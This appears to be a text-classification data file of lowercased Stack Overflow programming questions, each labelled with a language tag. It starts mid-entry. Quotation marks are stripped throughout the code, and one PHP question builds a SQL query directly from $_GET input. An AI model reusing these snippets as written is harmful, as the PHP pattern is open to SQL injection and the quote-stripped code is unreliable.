written-code  but more information about the exercice. keep in mind that my current-code is far from neat. thank you all.,c#
linker error for expecta on pnchart ios  referring to : <a href= https://github.com/kevinzhow/pnchart/  rel= nofollow >https://github.com/kevinzhow/pnchart/</a>    i downloaded the latest pnchart. besides of the error  uicountinglabel/uicountinglabel.h not found  which is fixed by setting the build-debug-cert.     i am also getting this error which i can t fix. i tried to set the  build settings -> search paths  to yes  but same problem. anyone knows how to fix this      <code>ld: warning: directory not found for option  -l/users/xxx/library/developer/xcode/deriveddata/pnchartdemo-giizuxibyqufwkdlwownbowndyew/build/products/debug-iphonesimulator/expecta  ld: warning: directory not found for option  -l/users/xxx/library/developer/xcode/deriveddata/pnchartdemo-giizuxibyqufwkdlwownbowndyew/build/products/debug-iphonesimulator/uicountinglabel  ld: library not found for -lexpecta clang: error: linker command failed with exit code 1 (use -v to see invocation)</code>    .    i also don t understand what is meant by this line :     add a pod entry for pnchart to your podfile pod  pnchart       i tried sending the command  pod  pnchart   and error appeared. ignore this error   the command  pod install  works.    thanks,ios
display input text as span  width trouble  i m trying to make an input text look like exactly like a span. i want my user to be able to type text without noticing he s in a field.    i ve almost succeeded  the last problem i ve got is about the width of the input.  the input text is wider than the text it s replacing. here s the <a href= http://jsfiddle.net/akatsukle/eotd8p4n/  rel= nofollow >jsfiddle</a>. (you may click on  texte  to type yours).    here s the interesting css part :   <pre><code>input {     background-color: transparent;     padding: 0px;     border: initial;     font: inherit;     margin: 0px; } </code></pre>,css
responsive menu (div is too small after click event)  so i have a menu which is putted on header with background colour. after resize (max width 1044 px) it turns on mobile menu and the div that holds menu and anchors is just to small comparing to the header.    any solution,html
<span contenteditable> not working like a <input> (line breaks)  i have <a href= https://jsfiddle.net/zddcdqpq/  rel= nofollow noreferrer >this jsfiddle</a> where i use <code>&lt;span&gt;</code> with the attribute <code>contenteditable</code>  instead of <code>&lt;input&gt;</code>.<br>my attempt to make the inputed content inline was with <code>br{display:none}</code>  which prevents breaking the line when pressing enter.    the problem is  i can still paste text with line breaks. also  if i press enter  my placeholder disappears.    <strong>html</strong>   <pre><code>&lt;span id=title&gt;house&lt;/span&gt; &lt;table&gt;   &lt;tr class=background&gt;     &lt;td&gt;&lt;span&gt;length&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;height&lt;/span&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;&lt;span class=input contenteditable placeholder=15 style=width:28px&gt;&lt;/span&gt;&lt;span class=red&gt;m²&lt;/span&gt;&lt;/td&gt;     &lt;td&gt;&lt;span class=input contenteditable placeholder=10 style=width:28px&gt;&lt;/span&gt;&lt;span class=red&gt;m²&lt;/span&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   <strong>css</strong>   <pre><code>table{border-collapse:collapse;text-align:center} td{border:1px solid#fbbc05;padding:0} .background{background:rgba(255 255 255 0.1)} .input{color:#ea4335;outline:0;overflow:hidden;vertical-align:sub;white-space:nowrap} .input:empty:before{color:#8a190f;content:attr(placeholder);cursor:text} .red{color:#ea4335} #title{color:#e4a769;font-family:font;font-size:1.5em;font-weight:bold} @font-face{font-family:font;src:url(https://fonts.gstatic.com/s/varelaround/v6/aph4jr0usos5wiut5cpjrugdm0lzdjqr5-oayxsoefg.woff2)} </code></pre>,css
convert waveform image to audio file in javascript  i m searching a way to covert a waveform image  to a simple wav file in javascript. do you know any library or framework in javascript that can do that  thanks,javascript
what is the fictive if purpose   what is the possible purpose of this code: <code>if(1 == 1){...}</code>     all i know untill now is what it s called  fictive if .,.net
convert not_camel_case to notcamelcase and/or notcamelcase in python   basically  the reverse of <a href= https://stackoverflow.com/questions/1175208/does-the-python-standard-library-have-function-to-convert-camelcase-to-camel-case >this</a>. here s my attempt  but it s not working.   <pre><code>def titlecase(value):     s1 = re.sub( (_)([a-z][a-z][0-9]+)   r \2 .upper()  value)     return s1 </code></pre>,python
what is best practice to interaction with object in objective-c   my questions is next:    for example i have object a (this is data model object). assume that object a have some property (for example <strong>request</strong> property). also i have object b (this is my view object).    so my problem is next: when my data model will be changed (the value for <strong>request</strong> property changed) i want to know about this events in my view (object b)    how to create this interaction between object.    for example in request  is written to  some_value  and after this object b immediately know about it.    thanks for response!,objective-c
select some column and count the rows in the same query  i want to select some rows and want to return those rows plus an additional column that display the count of selected rows. i am using a derived version of sql that doesnot allow me use <code>over() as</code> function as discussed <a href= https://stackoverflow.com/questions/243782/need-a-row-count-after-select-statement-whats-the-optimal-sql-approach >here</a> . i want something like for each element in selected column  i want a count of it in entire table like     for initial column like this :   <pre><code>fruits apple mango fruits banan </code></pre>   final returned values :   <pre><code>fruits newcolumnwithcount  apple   2 mango   1 apple   2 banana  1 </code></pre>   like in selected colum called fruits  apple appear 2 times  banana 1 times and mango 1 time (in the entire selected column called fruits),sql
web app attempting to retrieve data before angularjs is loaded  i am adding images to divs with <code>ng-repeat</code> which works fine. the image location data is nested in an array. the images show up as expected. my partial looks like:   <pre><code>&lt;div class= image-wrapper &gt;   &lt;img src={{item.user.img_src}}&gt; &lt;/div&gt; </code></pre>   however  it appears the page is to attempting to retrieve the string before angularjs is loaded. i get the following console warning:   <pre><code>get http://localhost:3000/%7b%7bitem.user.img_src%7d%7d 404 (not found) </code></pre>   how do i prevent this,angularjs
confusion with the situation regarding creating background timers  i was under the impression it wasn t possible for a background task to execute (apart from a) if it requests from the os a little extra time to finish things after moving into the background or b) if it uses one of the 3 uibackgroundmodes).    however this thread is talking about creating a background timer     <a href= https://stackoverflow.com/questions/4154332/ios4-create-background-timer >ios4 create background timer</a>    yet in that thread there are no mentions made of the general limitations regarding background apps  thus implying that it is actually possible to achieve background exeuction via timers.    could somebody please clarify this.     if you have an application that calls performselector : withobject: afterdelay with a long delay time (several hours or several days) and then the application moves to the background and does not have a uibackgroundmode  what happens when that time passes,ios
2 ipa files for same game in itunes  i m working on an ios application which is developed for all devices (retina and non-retina)    the size of the app is too big now to have compromise for all devices. (why should iphone 3gs suffer size where it does not get quality )    now  i would like to know if there is a way to optimize the size of game installed on the device.    specifically  is there a way in itunes submission process where we can have additional downloadable content on the server and can download it based on the device   we can have assets broken based on the devices and still can save some size on each device.,ios
cannot adjust actual speaker volume on iphonex and iphone 8  i m developing voip application for ios. when i try to adjust speaker sound volume for my voip app with side hardware buttons of iphonex  iphone8 and iphone7(ios11) the actual sound volume is not changed. the sound level(meter with bell icon) seems to be changed anyway. i only hear all sounds with same volume via my app on the devices. i can change the speaker volume of my app on iphone 6 plus and 6s. there re some changes for the devices recently if so   how can i fix it     i use avaudiosession and augraph classes to control sounds for my app. the settings are avaudiosessioncategoryplayandrecord and avaudiosessionmodevoicechat  for example. in addtion  i m using voiceprocessingio and remoteio.     fyi: skype seems to have similar issues below. <a href= https://answers.microsoft.com/en-us/skype/forum/skype_ios-skype_callms-skype_audioms/cant-lower-speaker-volume-on-ios-skype/14f2bac1-80bb-4608-83de-db8b491d726d  rel= nofollow noreferrer >https://answers.microsoft.com/en-us/skype/forum/skype_ios-skype_callms-skype_audioms/cant-lower-speaker-volume-on-ios-skype/14f2bac1-80bb-4608-83de-db8b491d726d</a>    <a href= https://answers.microsoft.com/en-us/skype/forum/skype_ios-skype_callms-skype_audioms/change-skype-volume-on-ios/2aed2915-a906-4540-8dfd-2bfd9d3714ed  rel= nofollow noreferrer >https://answers.microsoft.com/en-us/skype/forum/skype_ios-skype_callms-skype_audioms/change-skype-volume-on-ios/2aed2915-a906-4540-8dfd-2bfd9d3714ed</a>    please let me know if you have some information for this issue.    best regards  k.m,ios
adding datediff results to a new column  i can easily use the datediff function to get the results between 2 date and time values as number of hours but how do i put this into a new column beside the second date/time column with a custom name along the lines of hourstrained     thanks!,sql
.net udp using multithreading  i have several vehicles that send a data via gps to the server after every 10 seconds and the server should be listening and decode the data to store in the database (sql server). there will be hundreds of entries per minute. i have a single threaded code for now which is not really helpful. few entries get dropped off during the process time of one entry. i want to create a multithreaded code so that when one thread is busy processing  the packet is moved to the next available thread.    to my knowledge and after looking into several forums  i realized that  yield  would help solving this issue. but i could not find proper examples as to how yield can be used     can someone help me with this by posting some examples,.net
date not in correct format  i have a function that checks for null values then converts dates if they are not null the below function just had  08/09/13  sent to it (english format) and i got  string was not recognized as a valid datetime.     anyone help me as to why  do i need to tell the something somewhere is uses english format     thanks   <pre><code>public static datetime datetimecheck(object objdatetime)         {             if (objdatetime == null || objdatetime ==   )                 return default(datetime);             return convert.todatetime(objdatetime);          } </code></pre>,c#
css: 2 divs side by side  i would like to put 2 divs side-by-side inside another div. i really have no clue why this orange-colored  content -div is below the navi.    what did i wrong here  thanks!    css:   <pre><code>#page{position:relative;width:500px;background:yellow} #navi{position:relative;width:100px;background:red;float:left} #content{position:relative;width:400px;background:orange;clear:left} </code></pre>   html:   <pre><code>&lt;div id= page &gt; &lt;div id= navi &gt;navi&lt;/div&gt; &lt;div id= content &gt;content&lt;/div&gt; &lt;/div&gt; </code></pre>   fiddle:    <a href= http://jsfiddle.net/w286e9dd/  rel= nofollow >http://jsfiddle.net/w286e9dd/</a>,css
what does this error mean: no declaration of property  decisiontext  found in the interface  i am having a label code for  decisiontext  inside  dot-m file as follows :    <pre><code>@synthesize decisiontext ;  //&lt;&lt;&lt;this generates the error  </code></pre>   inside dot-h file  the code is written as follows:   <pre><code>iboutlet uilabel *decisiontext  </code></pre>   the error i get is :  no declaration of property  decisiontext found in the interface.     ps: in the interface builder when i click the label  i can find the name  decisiontext  under referencing outlets mapped with file s owner     stuck on this. :(   <hr>   as suggested i removed line @synthsize decisiontext and  used :   <pre><code>@property (nonatomic weak) iboutlet uilabel *decisiontext ;  </code></pre>   now i get the error :  expected a property attribute before  weak     <hr>   dot m file :    <pre><code>#import  clickbuttonviewcontroller.h   @implementation clickbuttonviewcontroller;    //@synthesize decisiontext ;  @property (weak nonatomic) iboutlet uilabel *decisiontext ;  -(ibaction)buttonpressed:(id)sender  {     decisiontext.text = @ go for it!  ; }  -(void)dealloc{     [decisiontext release];     [super dealloc] ;   }    - (void)didreceivememorywarning {     // releases the view if it doesn t have a superview.     [super didreceivememorywarning];      // release any cached data  images  etc that aren t in use. }  - (void)viewdidunload {     // release any retained subviews of the main view.     // e.g. self.myoutlet = nil; }     @end </code></pre>,ios
hiding structure variables from external linkage  hi can we hide variables in a structure from outside of the given file using static keyword    similarly can we hide a global variable from outside of the given file using static keyword  if so please let me know how. thanks in advance...,c
is there any risk making a base class generic and then making a class that inherits from it not generic  (which also has children classes)  please see the code below:   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks; using system.reflection;  namespace consoleapp1 {     public class genericclass&lt;t&gt; where t: class new()     {         public virtual bool equals(t other)         {             if (other == null)                 return false;             type t = gettype();             type othertype = other.gettype();             if (t != othertype)                 return false;             fieldinfo[] fields = t.getfields(system.reflection.bindingflags.instance | bindingflags.nonpublic | bindingflags.public);             foreach (fieldinfo field in fields)             {                 object value1 = field.getvalue(other);                 object value2 = field.getvalue(this);                 if (value1 == null)                 {                     if (value2 != null)                        return false;                 }                 else if (!value1.equals(value2))                     return false;             }             return true;         }     }      public class animal : genericclass&lt;animal&gt;     {     }      public class dog : animal     {         public string name;     }      class program     {         static void main(string[] args)         {             dog d1 = new dog();             dog d2 = new dog();             d1.name=  patch ;             d2.name =  patch ;             d1.equals(d2);         }     } } </code></pre>   notice that dog is using the .equals method in the genericclass.  the code works as i want it to i.e. genericclass compares dog1 to dog2.    however  notice that the animal class is not a generic class.  is there any risk doing this  should i be making animal generic for some reason,c#
using substring properly on a stringbuilder type  i am building up a string of data using substring. the format of the data i want is   <pre><code>[1 2 3 4 5 6 7 8 9 10] </code></pre>   so i am building it up as follows   <pre><code>stringbuilder sb = new stringbuilder(); sb.append( 1  ); sb.append( 2  ); sb.append( 3  ); . . . </code></pre>   the problem i run into is when i want to trim the final <code> </code> before adding the closing <code>]</code>.    i could do   <pre><code>sb.tostring(); sb.substring(0  (sb.length - 1)); sb +=  ] ; </code></pre>   but using the += is not very efficient as this creates a new string. is there a better way of doing this,c#
xhtml 1.1 and image height  i m trying to resize an image in an xhtml 1.1 web page based on browser s height. so in the stylesheet i have   <pre><code>img {     height: 100%; } </code></pre>   this works fine in chrome  but has no effect in firefox. any ideas,html
creating an app that defines a set of data based on several criteria  i m trying to create an iphone app that takes the user s response to four criteria and  based on that  shows a specific set of data related to that permutation of answers. for example  in the main view controller:    user selects a or b in a segmented controller (let s say they choose a)    user selects c or d in a segmented controller (they choose d)    user selects e or f in a segmented controller (they choose e)    user inputs an age in a text box (they type in 37)    user touches the  get numbers  button    based on the combination of  a  d  e  37   the view that appears on the touch of  get numbers  shows an image overlaid with seven labels containing the numbers 17.1  14.2  30.0  60.4  18.1  19.7 and 80.2. if the user had selected a different set of responses on the main controller  a different set of numbers would appear in those same labels.    i ve researched the various elements  but i can t figure out how to combine them to produce the desired outcome. how can i do this   any advice would be much appreciated--i m quite new to xcode and completely stuck.    thanks,ios
css color names + alpha transparency  is it possible to define a color in css by its name plus an alpha transparency value     i.e.:   <pre><code>#mytext { color: red 0.5 } </code></pre>   rather than resorting to rgba like   <pre><code>#mytext { color: rgba(255 0 0 0.5) } </code></pre>,css
get the x y inside a circle  i m using the algorithms (circle and ellipse) available at this page: <a href= http://members.chello.at/easyfilter/bresenham.html  rel= nofollow >http://members.chello.at/easyfilter/bresenham.html</a>    however  these just calculate the outside of the circle. how can i determine which x y are inside the circle     the <strong>circle</strong> algorithm is this:   <pre><code>void plotcircle(int xm  int ym  int r) {    int x = -r  y = 0  err = 2-2*r; /* ii. quadrant */     do {       setpixel(xm-x  ym+y); /*   i. quadrant */       setpixel(xm-y  ym-x); /*  ii. quadrant */       setpixel(xm+x  ym-y); /* iii. quadrant */       setpixel(xm+y  ym+x); /*  iv. quadrant */       r = err;       if (r &lt;= y) err += ++y*2+1;           /* e_xy+e_y &lt; 0 */       if (r &gt; x || err &gt; y) err += ++x*2+1; /* e_xy+e_x &gt; 0 or no 2nd y-step */    } while (x &lt; 0); } </code></pre>   the <strong>ellipse</strong> algorithm is this:   <pre><code>void plotellipserect(int x0  int y0  int x1  int y1) {    int a = abs(x1-x0)  b = abs(y1-y0)  b1 = b&amp;1; /* values of diameter */    long dx = 4*(1-a)*b*b  dy = 4*(b1+1)*a*a; /* error increment */    long err = dx+dy+b1*a*a  e2; /* error of 1.step */     if (x0 &gt; x1) { x0 = x1; x1 += a; } /* if called with swapped points */    if (y0 &gt; y1) y0 = y1; /* .. exchange them */    y0 += (b+1)/2; y1 = y0-b1;   /* starting pixel */    a *= 8*a; b1 = 8*b*b;     do {        setpixel(x1  y0); /*   i. quadrant */        setpixel(x0  y0); /*  ii. quadrant */        setpixel(x0  y1); /* iii. quadrant */        setpixel(x1  y1); /*  iv. quadrant */        e2 = 2*err;        if (e2 &lt;= dy) { y0++; y1--; err += dy += a; }  /* y step */         if (e2 &gt;= dx || 2*err &gt; dy) { x0++; x1--; err += dx += b1; } /* x step */    } while (x0 &lt;= x1);     while (y0-y1 &lt; b) {  /* too early stop of flat ellipses a=1 */        setpixel(x0-1  y0); /* -&gt; finish tip of ellipse */        setpixel(x1+1  y0++);         setpixel(x0-1  y1);        setpixel(x1+1  y1--);     } } </code></pre>,c
error on play my app from developer.android  i m new on android     the android studio give me a fail when i try to run my app from     <a href= https://developer.android.com/training/basics/firstapp/starting-activity.html  rel= nofollow >https://developer.android.com/training/basics/firstapp/starting-activity.html</a>     the fail text is:    error:execution failed for task  :app:processdebugmanifest .   <blockquote>    manifest merger failed : uses-sdk:minsdkversion 8 cannot be smaller than version 9 declared in library [com.google.android.gms:play-services-appindexing:8.1.0] c:\users\spluaks\androidstudioprojects\holamundo\app\build\intermediates\exploded-aar\com.google.android.gms\play-services-appindexing\8.1.0\androidmanifest.xml       suggestion: use tools:overridelibrary= com.google.android.gms.appindexing  to force usage  </blockquote>   someone know,android
invalid address patterns accecpted as valid by system.net.mail.mailaddress  i m working on our email validation  and i know that the constructor for mailaddress accepts invalid addresses as input without throwing an exception  an example would be an address containing two atoms like so add..ress@domain.com.  that particular example is sorta documented in the code for the mailaddress  <a href= http://referencesource.microsoft.com/#system/net/system/net/mail/dotatomreader.cs  rel= nofollow noreferrer >http://referencesource.microsoft.com/#system/net/system/net/mail/dotatomreader.cs</a>.    are there other kinds of invalid input that the mailaddress constructor is known to accept,.net
declare member variables from variadic template parameter  obviously the code below doesn t compile in c++. but i have a case where i d like to parameterize a class with zero or more data items based on template parameters.    is there any way i can declare a class whose data members depend on variadic template parameters so i can access each of them  or some other way to achieve what i d like     this came up in a real program which i ve solved an entirely different way but now i m interested in the more abstract problem of how i might have done this.   <pre><code>template &lt;typename... types&gt; class data {     // declare a variable of each type in the parameter pack     // this is not valid c++ and won t compile...     types... items; };  struct item1 {     int a; };  struct item2 {     float x  y  z; };  struct item3 {     std::string name; }  int main() {     data&lt;item1  item2&gt; data1;     data&lt;item3&gt; data2; } </code></pre>,c++
sql select record with max non zero value if exists otherwise select record with zero value  what i would like to do is select a single record per unique timestamp within a given date range from my table.  if multiple records exist for the same timestamp i want to get the maximum non zero record  or if only zero valued records are returned i just want to return one of those zero valued records. the query i have been using  almost  works which is    <code>select timestamp  max(value) from mytable where *conditions*... group by [timestamp] order by [timestamp] asc;</code>    it obviously works well until the returned records are zero s and negative numbers  in which case it returns the zero record since it is greater than the negative records.  in that case i would want to return one of the negative value records rather than the zero record.  if i try to solve that by changing the where statement to   <pre><code>where [value] &lt;&gt; 0 </code></pre>   then i don t get anything if only zero valued records are returned.  my priority is returning a single greatest non zero valued record per timestamp  but if only zero valued records exists then just return one of those  and if only null records exist for the timestamp i would want a single null record returned.,mysql
is it possible to output something not in an element in javascript   i m not sure if this is a stupid question (i sense downvotes) but i searched online and haven t been able to find any useful information.    if i want display something on the page i can use:   <pre><code>document.getelementbyid( id ).value= whatever ; </code></pre>   is it possible to get rid of the notion of having elements here so that i can do something like:   <pre><code>&lt;html&gt;     &lt;body&gt;         &lt;script&gt;write something here with javascript  no need for element &lt;/script&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   i know this can be achieved by using something like:   <pre><code>function e(){     return  whatever ; } </code></pre>   but i m trying to use <a href= https://github.com/davidshimjs/qrcodejs  rel= nofollow noreferrer >this</a> qrcode generator which <em>requires</em> an id. however i m dynamically generating a few rows of qr codes in a <code>c:foreach</code> loop with <code>jsp</code> and i can t figure out how to display a qr code for each iteration of the loop.    jsp context:   <pre><code>&lt;c:foreach items= item  var= ${items &gt;      &lt;!-- display qr code here with value from ${item.qr} --&gt;  &lt;/c:foreach&gt; </code></pre>   this is what happens when i use something like:   <pre><code>&lt;c:foreach items= item  var= ${items} &gt;      &lt;script&gt;         new qrcode(document.getelementbyid( qrcode )   ${item.qr} );     &lt;/script&gt;      &lt;div id= qrcode &gt;&lt;/div&gt;  &lt;/c:foreach&gt; </code></pre>   result:    <a href= https://i.stack.imgur.com/elwzd.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/elwzd.png  alt= enter image description here ></a>    fixed by doing:   <pre><code>&lt;c:foreach items= item  var= ${items &gt;      &lt;script&gt;         var div = document.createelement( div );         div.id =  ${item.id} ;         new qrcode(document.getelementbyid( ${item.id} )   ${item.qr} );     &lt;/script&gt;  &lt;/c:foreach&gt; </code></pre>,javascript
threaded comments - undefined method `children  for willpaginate  the following problem has been fixed  i added an  s  to the end of comments  when it should just be comment  but a new problem has arisen at the bottom of this post.    i am trying to get threaded comments for my already existing comments system by following the answer to this man s question: <a href= https://stackoverflow.com/questions/463936/reddit-style-nested-threaded-indented-comments-for-rails >reddit-style nested/threaded/indented comments for rails </a> when i try to access my article show page  i get the following error: undefined method `children  for # here s the view from my article show page that is problematic:   <pre><code>&lt;div id= comment &lt;%= comment.id %&gt; &gt;   &lt;%= comment.title %&gt;   | &lt;%= link_to  edit comment   edit_article_comment_path(@commentable  comment) %&gt;   | &lt;%= link_to  delete comment   [@commentable  comment]  :confirm =&gt;  are you sure    :method =&gt; :delete %&gt;&lt;br /&gt;   &lt;%= comment.content %&gt;&lt;br /&gt;   **&lt;%= render :partial =&gt;  comments/comment   :collection =&gt; @comments.children %&gt;**   &lt;%= comment.user.name %&gt;&lt;br /&gt;&lt;br /&gt; &lt;/div&gt; </code></pre>   it s the render portion that is having a problem. if i take out the children part from the comments  i get this in my console: the recursion never stops. i get this: rendered comments/_form.html.erb (14.9ms) rendered comments/_comment.html.erb (2.0ms) rendered comments/_comment.html.erb (7.3ms) rendered comments/_comment.html.erb (12.3ms) rendered comments/_comment.html.erb (17.9ms) rendered comments/_comment.html.erb (22.3ms) rendered comments/_comment.html.erb (26.8ms) rendered comments/_comment.html.erb (31.6ms) rendered comments/_comment.html.erb (36.2ms) .... i do not know why it keeps rendering. none of the comments have children  so it should stop. here s the  show  part of the article controller:    def show     @article = article.find(params[:id])     @commentable = article.find(params[:id])     @comments = @commentable.comments.paginate(:page => params[:page])     @comment = comment.new     @title = @article.title   end    my only explanation is that maybe there aren t any children comments  so will_paginate does not know what to do with it  so it throws an error at me.   <hr>   <strong>new problem</strong>  i am having problem with routing for comments. i am using polymorphic associations for my comments so they can be used for different models(articles  profiles  pictures  etc.)  but i do not know how to create the routing paths in my view. here is what i have now:   <pre><code>&lt;div id= comment &lt;%= comment.id %&gt; &gt;   &lt;%= comment.title %&gt;   | &lt;%= link_to  permalink   article_comment_path(@commentable  comment) %&gt;   | &lt;%= link_to  reply   new_article_comment_path(@commentable  @comment_child) %&gt;   | &lt;%= link_to  edit comment   edit_article_comment_path(@commentable  comment) %&gt;   | &lt;%= link_to  delete comment   [@commentable  comment]  :confirm =&gt;  are you sure    :method =&gt; :delete %&gt;&lt;br /&gt;   &lt;%= comment.content %&gt;&lt;br /&gt;   &lt;%= comment.user.name %&gt;&lt;br /&gt;&lt;br /&gt;   &lt;%= render :partial =&gt;  comments/comment   :collection =&gt; @comment.children %&gt; &lt;/div&gt; </code></pre>   there is an abundant number of pathing errors that won t work for other models. i am using: article_comment_path  new_article_comment_path  and edit_article_comment_path. by the way  this is inside of a for each loop  which loops over an array of comments. i want something like  commentable_comment_path  or  new_commentable_comment_path   so i can use it for my other models.    one more quick question  will this fix my  reply  link  i am not sure if i am doing that right. i want the reply link to create a comment within a comment.    thank you so much.,ruby-on-rails
query as table in rails  hi guys i need some help  how do you create this query in rails controller     select * from (select id amount user_id from payments where user_id= 10000  order by id desc) where rownum &lt;=1;,ruby-on-rails
automatically update php loop with data pulled from database  <strong>sql structure</strong>   <pre><code>create table if not exists `map` (   `id` int(11) not null auto_increment    `x` int(11) not null    `y` int(11) not null    `type` varchar(50) not null    primary key (`id`) ) engine=innodb  default charset=latin1 auto_increment=3 ; </code></pre>   <a href= http://localhost/map.php x=0&amp;y=0  rel= nofollow >http://localhost/map.php x=0&amp;y=0</a>    when i update the x and y via post or get  i would like to pull the new data from the database without refreshing the site  how would i manage that  could someone give me some examples  because i am really stuck here.   <pre><code>&lt; php   mysql_connect( localhost    root     ); mysql_select_db( hol );  $startx = $_get[ x ]; $starty = $_get[ y ]; $fieldheight = 6; $fieldwidth = 6;  $sql =  select id  x  y  type from map where x between  .$startx.  and  .($startx+$fieldwidth).   and y between  .$starty.  and  .($starty+$fieldheight);  $result = mysql_query($sql);  $positions = array();  while ($row = mysql_fetch_assoc($result)) {     $positions[$row[ x ]][$row[ y ]] = $row; }  echo  &lt;table&gt; ; for($y=$starty; $y&lt;$starty+$fieldheight; $y++) {     echo  &lt;tr&gt; ;     for($x=$startx; $x&lt;$startx+$fieldwidth; $x++) {         echo  &lt;td&gt; ;         if(isset($positions[$x][$y])) {             echo $positions[$x][$y][ type ];         }         else {             echo  ( .$x.   .$y. ) ;         }         echo  &lt;/td&gt; ;     }     echo  &lt;/tr&gt; ; } echo  &lt;/table&gt; ;    &gt; </code></pre>,php
prevent triggering jquery .click event by hitting enter <pre><code>$(document).ready(function() {   $( .plus ).click(function(e) {     e.preventdefault();      //add input box     $( .list ).append( &lt;div class= item &gt;&lt;select name=selection[]&gt;...select options here...&lt;/select&gt;&lt;a href= #  class= remove &gt;remove&lt;/a&gt;&lt;/div&gt; );   });    //user click on remove text   $( .list ).on( click    .remove   function(e) {      e.preventdefault();     $(this).parent( div ).remove();   }); }); </code></pre>   html:   <pre><code>&lt;form method= post  action= search.php &gt;   &lt;div&gt;     &lt;button class= plus &gt;+&lt;/button&gt;   &lt;/div&gt;    &lt;div class= list &gt;&lt;/div&gt;    &lt;div&gt;     &lt;input type= text  name= txt &gt;   &lt;/div&gt;    &lt;div&gt;     &lt;input type= submit  name= submit  value= submit &gt;   &lt;/div&gt; &lt;/form&gt; </code></pre>   this code is used to add (click .plus button)/remove (click .remove link) rows of select boxes in a dynamic form and works flawlessly. the form also contains a search input field (name= txt )  which is not part of the .list class. if i type stuff in this input field and hit enter (which should submit the form)  apparently this is handled as a click event of the .plus button and a new row is added instead of submitting the form. if i submit the form via mouse click everything is ok. any ideas please,jquery
understand the following android code about constructor <pre><code>public gameplay instantiategameplay(class&lt;  extends gameplay&gt; clazz) {     try {         constructor&lt;  extends gameplay&gt; constructor;           constructor = clazz.getconstructor(new class&lt; &gt;[] { game.class } );         return constructor.newinstance(new object[] { this });     } catch (exception e) {         log.e(tag   instantiate gameplay    + clazz.getsimplename() +    failed.   e);         throw new runtimeexception(e);     } } </code></pre>   normally  when we instantiated a new class  the constructor is inside the class file.  what s this clazz.getconstructor(new class[] { game.class } ) thing  it looks kind of odd. whats the reason for that,java
library not found for -lsystem  when i try compile version for device i has this error    ld: library not found for -lsystem clang: error: linker command failed with exit code 1 (use -v to see invocation)    i try remove all frameworks and libraries and this error still stay.,ios
please find how to enter employee details update remove displaying using hashmap <pre><code>import java.util.arraylist; import java.util.hashmap; import java.util.iterator; import java.util.list; import java.util.map; import java.util.scanner; import java.util.set;  class employee { private string id; private string name; private string department; private string salary;  public employee(string id  string name  string department  string salary) { this.id=id; this.name=name; this.department=department; this.salary=salary; }  public string getid() { return id; } public void setid(string id) { id = id; } public string getname() { return name; } public void setname(string name) { name = name; } public string getdepartment() { return department; } public void setdepartment(string department) { department = department; } public string getsalary() { return salary; } public void setsalary(string salary) { salary = salary; }  public string tostring()  {  return this.id+ \t +this.name+ \t\t +this.department+ \t\t\t +this.salary; } }   public class assignment4  { public static void main(string[] args) {  try {  map&lt; string  list&lt;employee&gt; &gt; m=new hashmap&lt; string  list&lt;employee&gt; &gt;(); list&lt;employee&gt; listforfinance=new arraylist&lt;employee&gt;(); scanner scn1=new scanner(system.in); string id; string name; string department; string salary;  while(true) { system.out.print( \nthe choices:\n1&gt;add\n2&gt;modification\n3&gt;remove\n4&gt;display\n\n ); system.out.println( enter the choice:  ); system.out.println( to quit type -1 ); int num=scn1.nextint(); if(num == -1) { break; }  switch(num) { case 1: { system.out.print( \ndepartment:  ); department=scn1.next(); system.out.print( \nid:  ; id=scn1.next(); system.out.print( \nname:  ); name=scn1.next(); system.out.print( \nsalary:  ); salary=scn1.next();  employee employee1=new employee(id name department salary); listforfinance.add(employee1); m.put(department  listforfinance); break; }  case 2: { system.out.println( type department to be modified ); department=scn1.next(); system.out.println( modification values ); system.out.print( \nid:  ); id=scn1.next(); system.out.print( \nname:  ); name=scn1.next(); system.out.print( \nsalary:  ; salary=scn1.next();  set&lt;string&gt; s=m.keyset(); iterator&lt;string&gt; i=s.iterator();  employee employee1=new employee(id name department salary); m.get(department.setid( id ); listforfinance.add(employee1); m.put(department  listforfinance);  while(i.hasnext()) { system.out.println(i.next()); }  break; }    case 3: { system.out.println( ========================================================= ); system.out.println( id + \t + name + \t\t + department + \t\t + salary ); system.out.println( ========================================================= ); set&lt;string&gt; s=m.keyset(); iterator&lt;string&gt; i=s.iterator();  while(i.hasnext())  {      string dept=i.next();      list&lt;employee&gt; employees=m.get(dept);      for(int j=0;j&lt;employees.size();j++)      {          system.out.print( \n +employees.get(j)+ \n\n );       }   } break; }  } } }  catch(exception e) { system.out.println( note: \n + please enter specified key format..!!! ); system.out.println( ====================================== ); system.out.println( now you are signing out ); system.out.println( thank you login again ); system.out.println( ====================================== );  } } }  default: system.out.println( ============================================================= ; system.out.print( wrong key pressed please enter the correct key\n ; system.out.println( try again...!!! ; system.out.println( ============================================================= ; } } }    please find how to enter employee details update remove displaying using hashmap wherin employee dept is taken as a key and id name salary is stored in the values using arraylist ......currently iam struck at case 2...please help me out </code></pre>   in case 1 i am trying to insert the employee details and in case 2 iam trying to modify the values .if i try to put any details with the same dept it should create new entry...even i should able to modify it i am not getting how to do..please help me out,java
how might one develop a program like fraps   i would like to make a program to capture video.   <ul> <li>what is the best way to capture video </li> <li>i know c++ and i m learning assembly. i found in my assembly book that i can get data from the video card. would that be the best way </li> <li>i know fraps hooks into programs  but i would like my program to take video of the entire screen.</li> </ul>   i would like something something fast  with low memory usage if possible. a requirement is that the program must be usable on other computers  despite dissimilar hardware.,c++
mysql - set a column name to the id on creation   i m trying to implement a custom sort field for a list of records.  when i create a new record  by default i would like this field to match the id number of that record.  is there any way to achieve this without having to perform two queries     any advice appreciated.    thanks,mysql
